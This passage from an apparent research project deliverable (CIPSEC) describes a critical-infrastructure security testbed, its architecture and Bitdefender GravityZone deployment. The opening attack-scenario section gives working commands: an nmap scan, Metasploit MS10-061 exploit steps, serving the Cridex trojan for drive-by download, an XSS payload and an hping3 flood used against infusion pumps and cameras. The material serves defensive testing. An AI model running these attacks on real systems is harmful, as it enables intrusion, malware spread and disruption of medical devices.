  1. Recognize available UDP and TCP network services running on the targeted hosts
  2. Recognize filtering systems between the user and the targeted hosts
  3. Determine the operating systems (OSs) in use by assessing IP responses
4. Evaluate the target host's TCP sequence number predictability to determine sequence prediction attack and TCP spoofing
   
The tools that are used for this attack are NNAP and its user-interface-enabled version, Zenmap.

   The attack is executed as part of attack vector #1 (Ports scan & intense scans):

   `nmap -T4 -A -v 192.168.20.131/24`

**Infrastructure related attack and exploitation attempts**

After performing a network scan for reconnaissance, a hacker chooses a target that looks vulnerable, further verify it and tries to exploit the vulnerability in order to execute his attack.

In this attack scenario, a SMB-related attack is executed as part of attack vector #2 (Infrastructure related attack exploitation attempts), using the following tools:

1. SMB Scanner – Using the Metasploit framework.
   
   This tool scans and enumerate SMB interfaces and shows information as part of the reconnaissance phase, but after the port scan.

   This is part of vector 2: Infrastructure related exploitation attempts.
   
   - Use Metasploit console - msfconsole
   - use the module `auxiliary/scanner/smb/pipe_auditor`
   - Set the remote target IP address by using the command:
     ```
     set rhosts <host ip>
     ```
     In this case, the ip address is 192.168.230.101
     ```
     Set RHOST 192.168.230.101
     ```
   - Execute the attack by typing:
     ```
     exploit
     ```

2. SMB- Exploit – Using the Metasploit framework.
   
   This tool exploits a specific vulnerability (MS10-061) in an SMB interface.

   This is part of vector 2: Infrastructure related exploitation attempts
   
   - Use Metasploit console - msfconsole
   - Use exploit module `exploit/windows/smb/ms10_061_spoolss`
   - Set the remote host using the command:
     ```
     Set RHOST 192.168.230.101
     ```
   - Set the remote port by using the command:
     ```
     Set RPORT 445
     ```
   - Set EXITFUNC process
   - Execute the attack by typing
     ```
     exploit
     ```
   - A script that automated this process can be found here:
     ```
     msfconsole -r attack_honeypot_local.rc
     ```

**Endpoint related attacks – Attack vector #3 and #4**

An attacker can try to attack the target in multiple ways: Attacking servers, network devices, medical devices and multiple types of endpoints. The attack can try to attack using network hacking tools or using physical access to the station.

This attack vector simulates attacking an end point by gaining physical access, and plugging USB device, and executes attack vector #3 (Insertion of a USB drive with a virus to the PC).
Types of exploitations and command syntax:

Attacked endpoint: PC with Windows 7 – (Detected by Bitdefender Agent)
Malware: Binary Trojan called Cridex Trojan – signed by Bitdefender:

Attacking scenario for vector #4 (Malicious file download – drive by download):

• In the Kali attacking server, start the Apache web server service by typing:
  `service apache2 start`
• In the endpoint, open web browser and access the Kali server by browsing to the server’s address. For example, if the server’s address is 192.168.20.20, browse to:
  `http://192.168.20.20/cridex.exe`
• Download the executable file and try to execute it

For attacking vector #3, copy this file to a Disk on Key and plug it to the endpoint.
Alternatively, Eicar\(^1\) test virus can be used:

• Create an empty txt file
• Paste the following string to it:
  `X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*`
• Save it as a TXT file. Most anti viruses will identify it as a virus test file.

Web application related attacks – Attack vectors #5 and #6

Description:

Web application security, is a branch of Information Security that deals specifically with security of websites, web applications and web services. At a high level, Web application security draws on the principles of application security but applies them specifically to Internet and Web systems.

OWASP Top 10 Most Critical Web Application Security Risks

The OWASP Top 10\(^2\) is a powerful awareness document for web application security. It represents a broad consensus about the most critical security risks to web applications.

Adopting the OWASP Top 10 is perhaps the most effective first step towards changing the software development culture within organizations into one that produces secure code.

\(^1\) http://www.eicar.org/86-0-Intended-use.html
\(^2\) https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Types of attacks and command syntax:
(Will Be Detected by BD)

1. XSS – Cross Site Scripting
   - Definition: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.
   - Stored XSS found in the web UI of the pumps, make the client side (doctor’s computer, nurses’ computer) to run a malicious script in their computer and download a malware.
   - This attack succeeds because the pumps save the script in the device name presentation in the UI and anyone which will access to this UI will run this script.
   - Syntax (for demonstrating a script):
     ```html
     <script>alert("XSS")</script>
     ```

Denial of Service Attacks – Attack vector #7

Description:
A denial-of-service attack is a security event that occurs when an attacker takes action that prevents legitimate users from accessing targeted computer systems, devices or other network resources.

Denial-of-service (DoS) attacks typically flood servers, systems or networks with traffic in order to overwhelm the victim resources and make it difficult or impossible for legitimate users to use them. While an attack that crashes a server can often be dealt with successfully by simply rebooting the system, flooding attacks (DDoS) can be more difficult to recover from.

Types of attacks and command syntax:
The attack targeted the following devices:
Cameras from AXIS - P33 series

Pumps from BD-CAREFUSION - ALARIS GH PLUS

The attack’s result:

After the attack against the camera was executed, the picture froze.

After we make the attack against the pump – it didn’t alert a problem in the web UI even though the device itself experienced some problems following the attack.

The attack used ICMP flooding Denial of Service technique (ping flood) using the hping3 utility.

This attack sends a massive amount of ICMP Ping packets in order to bring the target down.

The attack syntax:

```
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source <victim>
```

Elaboration of the command’s options:

- `-V` (verbose)
- `-c` (packet counts)
- `-d` (data size)
- `-S` (SYN)
- `-w` (winsize)
- `-p` (destination port)
- `-s` (baseport)
- `--flood` (sent packets as fast as possible)

The exact command that used used in this attack:

```
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 --flood --rand-source 192.168.231.200
```

2.4 Plan for prototype evolution

As mentioned in previous chapters, the prototype should include CIPSEC framework for protecting the CI environment, this chapter refer to the prototype evaluation and the integration with additional tools and software products.

Moreover, this chapter refer to the future design, products and attacks we will integrate into the prototype.

2.4.1 Integrating additional software products

In the near future, AEGIS forensics visualization tool will be integrated into the prototype.

In the final stage, UoP HSM and UPC Data Privacy tool will be integrated as well. This integration might require some development for sending the data to the API of the tool.

In addition, as part of the prototype development, a research is conducted regarding additional software products and countermeasures that may open the CIPSEC framework to additional 3rd party integration.

An example of the tools that could be considered:

1. Network Firewall
2. Identification and Authentication for End-Point Devices
3. IoT Security Mechanisms
4. Application Firewall
5. PKI and Network Encryption for Industrial Protocols

2.4.2 Integrating physical hardware products

The current prototype focuses on the software based products, but physical products will be part of the combined physical and virtual prototype as well.

Worldsensing jammer detector will be fully integrated as well as the HSM and Secocard physical devices.

Hardware components should be integrated to the prototype environment for various reasons:
1. Firstly, in order to improve the protection on the endpoint devices, hardware physical components must be in place (for example, Modbus encryption on serial interfaces).
2. Hacking tools to penetrate physical devices.
3. Physical components like IoT and medical devices as the targets.

2.4.3 Integrating additional CI environments

The prototype should contain more Critical Infrastructure components for testing (hardware and software) besides the medical devices that are already integrated to the prototype in Clinic Hospital.

The simulators should have real data in order to present CI environment that will be close to reality as much as possible.

Some tools which can be integrated are mentioned in section 2.2.

2.4.4 Adding attacking scenarios

As part of the prototype research we will try to generate different attacks that will show the value of CIPSEC framework as well as where the framework should implement additional tools in order to protect the environment.

The attacks vectors split into 2 main categories:
1. Applicative
2. Network & Infrastructure

Application Attacks:

The application layer is the hardest to defend. The vulnerabilities encountered here often rely on complex user input scenarios that are hard to define with an intrusion detection signature. This layer is also the most accessible and the most exposed to the outside world. For the application to function, it must be accessible over Port 80 (HTTP) or Port 443 (HTTPS).

Critical infrastructures are including web applications that expose data and help the end user to make actions in the system, this expose the system to application attacks as well.

Following are some examples of potential applicative attacks:

1. Cross-Site Request Forgery - This type of attack is used in conjunction with social engineering. It allows attackers to trick users into performing actions without their knowledge.
2. Keylogger - Keyloggers or keystroke loggers are software programs or hardware devices that track the activities (keys pressed) of a keyboard. Keyloggers are a form of spyware where computer users are unaware their actions are being tracked.
3. XML injection - When this attack is taking place, the attacker mainly makes some efforts and has an aim to inject some XML tags into the SOAP message and hence he wants to modify the source of XML. If the injection of XML is successful, then the result is the execution of the operation which is restricted.
4. Directory traversal/command injection - Directory traversal is the HTTP exploit which can allow some hacks to get access to some directories which are restricted and hence can help them in execution of some commands which are outside the scope of the root directory of webserver.
5. **Buffer overflow** - This term is seen very basically and widely in the computer programming and security. When we generate some problem that overflow the buffer which overwrite the memory. It happens when the data is being written to the buffer. This is some case which is special and belongs to the memory safety violation. These overflows can be initiated by some inputs which are specially made for the execution of codes. They can be used for targeting any other programs as well.

**Infrastructure Attacks:**

These attacks aim at the operating system, the hardware and the networking of the system. Following there are some examples of potential attacks that should be considered if pilots’ conditions enable to test them on the prototype environment:

1. **ARP Spoofing** - ARP spoofing is a type of attack in which a malicious actor sends falsified ARP (Address Resolution Protocol) messages over a local area network.
2. **Botnet** – To infect the devices with a malicious actor. Each individual device in a botnet is referred to as a bot.
3. **Cache Poisoning** - Cache poisoning is a type of attack in which corrupt data is inserted into the cache database of the Domain Name System (DNS) name server. The Domain Name System is a system that associates domain names with IP addresses.
4. **Man-in-the-Middle Attack** - A man-in-the-middle attack is a type of cyberattack where a malicious actor inserts him/herself into a conversation between two parties, impersonates both parties and gains access to information that the two parties were trying to send to each other.
5. **Spoofing Attack** - A spoofing attack is about a malicious party impersonates another device or user on a network in order to launch attacks against network hosts, steal data, spread malware or bypass access controls.
3 CIPSEC solution deployment

3.1 CIPSEC components & architecture

For the convenience of the reader, and to provide the necessary context, in this section a summary of the CIPSEC components is given. In addition, a summary of the architecture is included.

CIPSEC components have been presented throughout several deliverables, with D2.1 and D2.2 being the main references to consult for further information.

In the case of the architecture, the whole rationale and line of thought that led to its definition is presented in D2.2. All the details about the architecture are thoroughly described in this document. In D2.5 the final version is presented putting the focus on the changes and updates the architecture underwent in the period M19-M24 prior to be consolidated with the end of T2.1.

3.1.1 CIPSEC components

XL-SIEM

The objective of this component is the detection of security threats. It plays the role of anomaly detection reasoner. To do it, it processes information coming from different kinds of sensors, which is eventually normalized thanks to a specific component called agent. XL-SIEM can manage information coming from a large variety of heterogeneous systems and solutions. The information coming from different sources is first filtered and then correlated to obtain valuable insights about the cyber climate of the infrastructure being monitored. Starting with huge amounts of data, this component is capable of producing meaningful events and eventually raising alarms thanks to the correlation of events following complex rules. This component provides a very complete graphic layer which is integrated in the CIPSEC Unified Dashboard. This will notify the user about status of the system and its exposure to a wide plethora of risks and threats. It will show the events and the alarms produced in the anomaly detection reasoning process.

DoSSensing (Jamming Detector)

The objective of this component is to be able to respond to Denial of Service attacks against Critical Infrastructures’ wireless networks, which is commonly seen in the form of jamming at the physical layer. When successful, these attacks leave wireless devices useless.

It works as a stand-alone solution monitoring the whole spectrum to detect anomalies derived from a Denial of Service attack. It performs a detailed analysis of the radio frequency spectrum, subsequently processing the acquired data to identify potential anomalies, and eventually raising alarms and warning messages. It visualizes in a real-time and high reliability (98%) approach the wireless band from a physical layer perspective. It is composed, from lower to upper layers, by a SDR module, a processing board, a monitoring server and a visualization tool. DoSSensing is physically wired to the customer to guarantee the communication follow in all circumstances.

HSM FPGA device

The objective of this component is to offer a high level of trust, acting as a trusted entity for an associated host machine. This component can be physically connected to a machine. The means of connection is currently through wired USB to serial connection. It provides a secure environment to perform cryptography operations and storing sensitive data.

To do it, the component relies on elliptic curve cryptography, which is a technique based on the algebraic structure of elliptic curves over finite fields. Providing similar levels of security than other techniques, it performs the operations quicker and with less consumption of resources. This is implemented in a prototype built with FPGA, what enhances the system performance since FPGA technology is faster by nature and much more secure than other software implementations.

The device can be trusted not to be maliciously manipulated (by HW or SW) and offers cryptography, secure storage and message integrity services.

Data Privacy tool
This product protects the privacy of personally identifiable information. It anonymizes this information before being shared by third parties. It provides a statistical disclosure control methodology endowed with a series of privacy-enhancing algorithms. It includes a formal protection model named \textit{k-anonymity} and a set of accompanying policies for deployment. The result is the generation of databases with anonymized data to protect sensitive databases against internal and external attacks.

It applies the anonymization by means of three types of techniques: suppression, generalization and pseudonymization. A release provides k-anonymity protection if the information for each person contained in the release cannot be distinguished from at least k-1 individuals whose information also appears in the release.

\textbf{Honeypots}

This product has the mission of providing information about potential network attacks. It monitors the traffic of diverse CI components such as servers, routers, sensors, to name but a few, to produce valuable results to be leveraged in the anomaly detection and prevention process. It is a cloud-based honeypot implementation with several VMs combining medium-high interaction honeypots, transferring the results to a centralized database. Besides, there is a control panel for visualization and management. Some examples of attacks that can be detected are attacks against databases (MSSQL, MySQL, ORACLE, Postgre) and attacks against communication / transfer protocols (FTP, TFTP, HTTP, HTTPS, TELNET, DNS, SMTP, MS Windows RPC, SMB).

\textbf{Secocard}

Secocard is a security single board microcontroller with modern communication interfaces and a focus on security. It is a generic programmable platform that can provide encryption services (through both dedicated hardware and software) and can operate as a smart card reader, as a secure token read by external smart card reader or as a secure mobile messaging environment. It also provides security storage data on its flash memory.

It operates as a secure contact and contactless smart card reader and as a smartcard. It also operates as a secure messaging mobile device. It is compatible with access control and payment systems compliant with ISO 14443A/B, ISO15693, Felica, Mifare and Mifare Classic. It can operate as a secure mobile data storage device. Finally, it includes a touch screen for pin and data entry.

\textbf{Antimalware GravityZone}

It is an anti-malware and virus management system that can be used to protect industrial clients against known and emerging malware threats by correlating files, telemetry data and file behaviour against baseline knowledge base to deliver proactive threat defence.

Gravity Zone provides onsite and/or remote monitoring support for clients to perform real-time surveillance and blockage of malware trying to enter client’s industrial network in. Bitdefender monitoring technology includes advanced sandboxing capabilities to help our security team understand, prioritize, and block sophisticated attacks. Bitdefender’s awarded proprietary engine provides antimalware protection and is also able to detect security threats like malware, phishing, application control violation or data loss.

Gravity Zone covers source channel detection, static detection, dynamic detection and provides protection for physical, mobile and virtualized environments.

\textbf{Forensics Visualization toolkit}

This tool is designed to be used in the context of post-incident security analysis. The forensics visualization toolkit developed by AEGIS is based on three pillars: intuitive and detailed visualization to active (real-time) cyber/digital forensics analysis; implementation, development and customization of the toolkit for the needs of forensics analysis in CIPSEC critical infrastructures; and innovative forensics service(s) for the CIPSEC CI like the timeline analysis, the preconfigured views and the best practices. This tool leverages the information provided by different sensors deployed on the critical infrastructure. Starting from this input, the user can define and use Critical Infrastructure Performance Indicators (CIPIs). Finally, the tool provides a presentation layer which offers intuitive views following the requirements of the forensics investigator.
3.1.2 CIPSEC architecture

In deliverable D2.5, corresponding to the same milestone of this document, the final version of the architecture is presented, with little updates with respect to the version documented in D2.2. The diagram below shows this final architecture.

![CIPSEC Final reference architecture](image)

Figure 8: CIPSEC Final reference architecture

The CIPSEC reference architecture is a cornerstone for the development of a framework flexible enough to be capable of addressing the diverse challenges posed by critical infrastructures belonging to a wide range of verticals (from energy to transportation systems). The architecture must allow adaptation regardless of the sector to which the infrastructure belongs, the type of resources it manages or its security requirements. This architecture is flexible and extensible as well. To create it a thorough methodology was followed, starting by the very basics, considering the security data lifecycle, continuing by a high level approach to the architecture, to produce a detailed architecture later on. To ensure that the result was optimal, it was checked that the mapping of the different products of the CIPSEC portfolio fitted adequately and that the instantiation of the architecture to each of the pilots was accomplishable. All the details are documented in D2.2.

In the following, the layers and components of the architecture are explained:

1) **Acquisition Layer**: Contains the sensors/services plugged to CIPSEC. Available to be used by CI. It provides logs to the Detection Layer.
   
   a. **Vulnerability Assessment**: This functionality is related to performing analysis of the CI components for detecting potential vulnerabilities associated to the software running in those elements, comprising sensors, routers, etc.
   
   b. **Identity Access Management**: It involves the processes of authentication and authorization that govern the access control.
c. **Integrity Management**: One of the key functions when securing OT devices used for remote access. These devices are accessible from the outside and, therefore, are prone to receive attacks. For this reason they will have to undergo a thorough review, applying all the necessary security measures to reduce the risk. Also, OT devices and related security systems require an appropriate maintenance so that their operation is optimal at all times. Such maintenance must be performed whenever there is any change in the network topology, when new devices are added to the network.

d. **Endpoint detection and response**: Malware prevention is directly related to anomaly detection. In a CI environment these tools are the last defence, once the malware managed to pass through other systems such as firewalls or IDS / IPS. This block performs detection of anomalous behaviours that might derive from malware or reports from intrusion detection sensors. Logs from firewalls or events detected at honeypots are also sources of information used to detect suspicious activities derived from possible attacks.

e. **External security services**: These services are also a valuable source of information, security logs in particular.

f. **Crypto services**: Communication security guarantees that the transmitted information cannot be captured by possible attackers, which can be used to attack the infrastructure. One of the pillars of communications security is the use of cryptographic techniques and in particular encryption. The encryption of communications is a technological solution that allows communicating two devices, ensuring that the information cannot be understood by a third party. Given the sensibility and criticality of the data managed within a CI, it is strongly recommended that the information is protected from disclosure to unauthorized parties.

g. **Future security services** are also considered in the architecture.

2) **Detection Layer**: Detects anomalies discovered from the logs received from the security services. It provides information about events or alerts happening in the CI. The Anomaly detection reasoner is the representative component of this layer and is able to detect threats or even ongoing attacks occurring at the CI.

3) **Data Processing Layer**: Provides additional data processing, evaluating events and alerts by correlating them with previous records, attack patterns, etc. Produces inferred risks or potential threats.

   a. **Forensics service**: Cyber forensics supports the elements of troubleshooting, monitoring, recovery and the protection of sensitive data in CI. Forensics collects, analyses and archives data as evidence in a court of law.

   b. **Data anonymization and privacy**: In order to avoid the disclosure of sensitive data it is required that data is anonymized, keeping the privacy of CI’s OT/IT. CI usually manages thousands of devices, from many different networks, with high real-time low-latency constraints, with access control at different levels, some with strong privacy requirements on the collected and processed data. The output of the anonymization block, this is, anonymized data, is stored on a database for historic anomalies, meeting the privacy requirements posed by the user.

4) **Presentation Layer**: Receives data about events/alerts/risks/threats, which are properly aggregated and presented in a visual interface. This visual interface is the CIPSEC Unified Dashboard, which is presented in detail in deliverable D2.5. This dashboard offers, first a general overview of the status of the critical infrastructure being monitored, with a selection of the most relevant information to be presented. Then, a more detailed information level will allow the user to check the specific information provided by each tool of the framework, thanks to the transparent embedding of such tools. The dashboard also offers a nice interface to use the supplementary services of the CIPSEC Framework. A Single Sign On system provides a comprehensive authentication and authorization mechanism across all the integrated tools; the user will be requested his credentials only once.

5) **User/System manager Layer**: The user himself belongs to this layer, where he can interact with CIPSEC by analyzing the valuable information offered by the framework and defining prospective mitigation actions. To this layer does the contingency service belong, which is about producing a suitable contingency plan based on collaboration with public-private partnerships.

Finally, the following supporting services are also reflected in this diagram:
- **Updating and patching**: basing on the analysis of the components running in the CIPSEC framework, this service plans updates and patches to protect it against new vulnerabilities.
- **User training**: consists of a set of training courses that support system administrators to learn on the characteristics of the CIPSEC framework, easing its adoption
- **Compliance management**: manages compliance requirements between the CI and CIPSEC features, enabling the appropriate configuration of CIPSEC services and tools.

### 3.2 Deployment description and steps

Following sections describe the deployment of each of the solutions that make up the CIPSEC framework, starting with the lower layers of the Reference Architecture and continuing towards the upper ones.

#### 3.2.1 Acquisition Layer

##### 3.2.1.1 Antimalware GravityZone

To protect a CI with Bitdefender, the GravityZone services need to be installed. GravityZone architecture includes a management service and multiple security services.

GravityZone is one product with a unified management console available in cloud, hosted by Bitdefender, or as one virtual appliance to be installed on-premise.

It provides a single point for deploying, enforcing and managing security policies for any number of endpoints and of any type, in any location.

Bitdefender GravityZone addresses the needs of the most demanding enterprises by providing cross-platform security for **physical desktops and servers, virtualized endpoints, mobile devices** and **Exchange mail servers**.

The following table shows the types of endpoints each service is designed to protect:

<table>
<thead>
<tr>
<th>Service</th>
<th>Endpoints</th>
</tr>
</thead>
<tbody>
<tr>
<td>Security for Endpoints</td>
<td>Physical computers (workstations, laptops and servers) running on Microsoft Windows, Linux and macOS (previously named OS X)</td>
</tr>
<tr>
<td>Security for Virtualized Environments</td>
<td>Microsoft Windows or Linux virtual machines running on any virtualization platform</td>
</tr>
<tr>
<td>Security for Mobile</td>
<td>iPhone, iPad and Android devices</td>
</tr>
<tr>
<td>Security for Exchange</td>
<td>Microsoft Exchange Servers</td>
</tr>
<tr>
<td>Hypervisor Memory Introspection</td>
<td>Microsoft Windows and Linux virtual machines running on Citrix XenServer</td>
</tr>
</tbody>
</table>

**Table 1: GravityZone Services**

I. **Requirements**:

GravityZone is delivered as a virtual machine available in different formats compatible with main virtualization platforms. It is a virtual machine running a Linux Ubuntu version 16.04 distribution.

On this GravityZone Virtual Appliance you will need to install one, all or several server roles.

These server roles are: Database, which is a MongoDB non-relational database, Update server which will create a local mirror of the Bitdefender update server, Web server which will provide the management console, and Communication Server is a proxy to the database, every managed endpoint will need to connect to the database.

A GravityZone deployment requires running at least one of each role.

GravityZone Virtual Appliance - Hardware requirements based on the number of the managed endpoints.
Required vCPU:

<table>
<thead>
<tr>
<th>Component</th>
<th>250</th>
<th>1000</th>
<th>5000</th>
<th>10000</th>
<th>25000</th>
<th>25000*</th>
<th>50000*</th>
</tr>
</thead>
<tbody>
<tr>
<td>Update Server</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Web Console</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td>4</td>
<td>6</td>
<td>8</td>
</tr>
<tr>
<td>Communication Server</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td>4</td>
<td>6</td>
<td>6</td>
<td>8</td>
</tr>
<tr>
<td>Database*</td>
<td>1</td>
<td>2</td>
<td>2</td>
<td>3</td>
<td>3</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Total**</td>
<td>4</td>
<td>5</td>
<td>7</td>
<td>11</td>
<td>16</td>
<td>20</td>
<td>30</td>
</tr>
</tbody>
</table>

Table 2: Required vCPU for each GravityZone component

* - multiply by two for GravityZone environments using database replica set
** - total for GravityZone environments without database replica set

Required RAM (GB):

<table>
<thead>
<tr>
<th>Component</th>
<th>250</th>
<th>1000</th>
<th>5000</th>
<th>10000</th>
<th>25000</th>
<th>25000*</th>
<th>50000*</th>
</tr>
</thead>
<tbody>
<tr>
<td>Update Server</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td>2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Web Console</td>
<td>2</td>
<td>2</td>
<td>3</td>
<td>5</td>
<td>7</td>
<td>9</td>
<td></td>
</tr>
<tr>
<td>Communication Server</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td>4</td>
<td>6</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>Database*</td>
<td>2</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>8</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>Total**</td>
<td>6</td>
<td>8</td>
<td>11</td>
<td>16</td>
<td>23</td>
<td>32</td>
<td>36</td>
</tr>
</tbody>
</table>

Table 3: Required RAM for each GravityZone component

* - multiply by two for GravityZone environments using database replica set.
** - total for GravityZone environments without database replica set.

Required Hard-Disk Space (GB):

<table>
<thead>
<tr>
<th>Component</th>
<th>250</th>
<th>1000</th>
<th>5000</th>
<th>10000</th>
<th>25000</th>
<th>25000*</th>
<th>50000*</th>
</tr>
</thead>
<tbody>
<tr>
<td>Update Server</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Web Console</td>
<td>40</td>
<td>40</td>
<td>40</td>
<td>40</td>
<td>40</td>
<td>40</td>
<td>40</td>
</tr>
<tr>
<td>Communication Server</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Database*</td>
<td>10</td>
<td>20</td>
<td>20</td>
<td>40</td>
<td>40</td>
<td>80</td>
<td>80</td>
</tr>
<tr>
<td>Total**</td>
<td>50</td>
<td>60</td>
<td>60</td>
<td>80</td>
<td>120</td>
<td>200</td>
<td></td>
</tr>
</tbody>
</table>

Table 4: Required Hard-Disk Space (GB) for each GravityZone component

* - multiply by two for GravityZone environments using database replica set.
** - total for GravityZone environments without database replica set.

Bitdefender Endpoint Security Tools hardware requirements.
Free RAM Memory:
- RAM Memory required at installation (MB):

<table>
<thead>
<tr>
<th>OS</th>
<th>Local Scanning (AV Only)</th>
<th>Full Options</th>
<th>Hybrid Scanning (AV Only)</th>
<th>Full Options</th>
<th>Centralized Scanning (AV Only)</th>
<th>Full Options</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>1024</td>
<td>1200</td>
<td>512</td>
<td>660</td>
<td>256</td>
<td>400</td>
</tr>
<tr>
<td>Linux</td>
<td>1024</td>
<td>1024</td>
<td>512</td>
<td>512</td>
<td>256</td>
<td>256</td>
</tr>
<tr>
<td>macOS</td>
<td>1024</td>
<td>1024</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
</tr>
</tbody>
</table>

**Table 5: Required RAM for endpoint installation**

- RAM memory for Daily usage (MB):

<table>
<thead>
<tr>
<th>OS</th>
<th>Antivirus (Single Engine)</th>
<th>Protection Modules</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Local</td>
<td>Hybrid</td>
</tr>
<tr>
<td>Windows</td>
<td>75</td>
<td>55</td>
</tr>
<tr>
<td>Linux</td>
<td>200</td>
<td>180</td>
</tr>
<tr>
<td>macOS</td>
<td>300</td>
<td>-</td>
</tr>
</tbody>
</table>

**Table 6: Required RAM for endpoint daily usage**

Hard Disk requirements:
- Free Hard Disk space required at installation (MB)

<table>
<thead>
<tr>
<th>OS</th>
<th>Local Scanning (AV Only)</th>
<th>Full Options</th>
<th>Hybrid Scanning (AV Only)</th>
<th>Full Options</th>
<th>Centralized Scanning (AV Only)</th>
<th>Full Options</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>1024</td>
<td>1200</td>
<td>500</td>
<td>700</td>
<td>350</td>
<td>570</td>
</tr>
<tr>
<td>Linux</td>
<td>1024</td>
<td>1024</td>
<td>400</td>
<td>400</td>
<td>250</td>
<td>250</td>
</tr>
<tr>
<td>macOS</td>
<td>1024</td>
<td>1024</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
</tr>
</tbody>
</table>

**Table 7: Required Hard-Disk Space (MB) for endpoint installation**

- Free Hard Disk for daily usage (MB)

<table>
<thead>
<tr>
<th>OS</th>
<th>Antivirus (Single Engine)</th>
<th>Protection Modules</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Local</td>
<td>Hybrid</td>
</tr>
<tr>
<td>Windows</td>
<td>410</td>
<td>190</td>
</tr>
<tr>
<td>Linux</td>
<td>500</td>
<td>200</td>
</tr>
<tr>
<td>macOS</td>
<td>1024</td>
<td>-</td>
</tr>
</tbody>
</table>

**Table 8: Required Hard-Disk Space (MB) for endpoint daily usage**
Verify the Required communication ports\(^1\) are accessible

II. Preparation:

Download GravityZone-Appliance\(^2\) and Documentation\(^3\)

Download the Administrator guide (For GravityZone and Security Services configuration) and the Installation guide (For system requirements and installation steps for Management components and Security Services)

Supported Hypervisor

GravityZone is delivered as a virtual appliance. The GravityZone-Appliance is available in the following formats:

- OVA (compatible with VMware vSphere, View, VMware Player)
- XVA (compatible with Citrix XenServer, XenDesktop, VDI-in-a-Box)
- VHD (compatible with Microsoft Hyper-V)
- OVF (compatible with Red Hat Enterprise Virtualization)
- OVF (compatible with Oracle VM)
- RAW (compatible with Kernel-based Virtual Machine or KVM)

1. First installation steps / Import GravityZone Virtual Appliance in different hypervisors\(^4\)

Before deployment, to ensure that the installation and integration will run as smooth as possible, please have the following bits of information available:

- Internet access
- Domain/AD information
- vCenter/XenServer credentials
- Free IP for GravityZone
- Free IP for SVA
- Subnet information
- Gateway information
- DNS information
- Proxy server information
- Network naming convention

---

\(^1\) [http://www.bitdefender.com/support/gravityzone-communication-ports-1132.html](http://www.bitdefender.com/support/gravityzone-communication-ports-1132.html)


• Please note that you need to have a static IP address available to assign on this new VM, or a DHCP reservation.
• Please note that you need to configure a DNS A record entry for the GravityZone Virtual Appliance. The name should be resolved by all the systems you are planning to manage with GravityZone
• GravityZone VM requires full Internet access to *.bitdefender.com to complete the product install and download updates locally.
• From an internal network communication standpoint, GravityZone requires network connectivity with all its managed security services components.
• Optionally GravityZone can integrate with Active Directory to manage physical and mobile environments. For this integration to be completed we need to have a domain service account available.
• GravityZone protects virtual environments and optionally integrates with VMware & Citrix. You need to have a user account with administrative rights in vCenter / Xen Server to enable this integration.
• GravityZone is configured to send email alerts and reports to the administrative accounts; to enable this feature we need to have at hand an email account with login credentials allowing GravityZone to connect with your email server.
• If a PROXY server exists within the network, make sure that traffic is allowed from the GravityZone appliance roles to the following sites:
  lv2.bitdefender.com
  download.bitdefender.com
  upgrade.bitdefender.com
  my.bitdefender.com
  ep-reverse.nimbus.bitdefender.net
  nimbus.bitdefender.net

III. Deployment:

Import the virtual appliance in your virtual environment

After the appliance has been deployed, and is booted for the first time, it will prompt you to enter a new password. This will be for the default user, called bdadmin. When presented with the login screen, login using the password just entered for user bdadmin.

From the Appliance Options menu, configure the following options:

• Configure Hostname Settings
• Configure Network Settings
  The appliance can be configured to automatically receive the network settings from a DHCP server or can have the network settings configured manually. If the DHCP configurations are used, make sure the IP address is reserved and will not be changed upon renewal.
• Configure Proxy Settings
  Each GravityZone instance requires Internet connectivity during the initial configuration. If the Internet access is routed through a proxy server
• Install / Uninstall Roles
  GravityZone appliance can run one, several or all of the following roles:
  i. Database Server
  ii. Update Server
  iii. Web Console
  iv. Communication Server

  - Choose option 5 Advanced Settings -> Install / Uninstall Roles and then option 1 Add or Remove Roles. Select Database Server role by pressing space and then start the role installation.
  - After the Database Server role is installed, we can move to the next step and install the Web Console, Communication Server and Update Server roles. Go back to the Appliance...
Options menu and select option 5 Advanced Settings -> Install / Uninstall Roles then select Web Console, Communication Server and Update server by pressing SPACE and start the role installation.

Appliance is now configured, and the rest of the setup is done through the web interface.

- Access the Control Center web interface using a web browser, by connecting to the IP address of the appliance with the Web Console role installed: Error! Hyperlink reference not valid.>
- Authenticate to Control Center using your Bitdefender account.
- Provide the license keys required for validating the purchased GravityZone security services.
- Provide the company details and create a company administrator account.
- View information about the existing GravityZone component packages under the Update page -> Components tab. Download installation packages you plan to install in your network or update existing packages.
- The Packages page allows you to create custom installation packages according to your security requirements. The Add option allows the user to create the packages with specific modules, roles and settings. The Download options allows the user to download the package for manual installation.
- To remotely deploy Bitdefender Endpoint Security Tools (BEST) agent Select unmanaged computers under the Network page and assign them Installation Tasks.

Differences and Pros / Cons of different installation approaches

1. Management
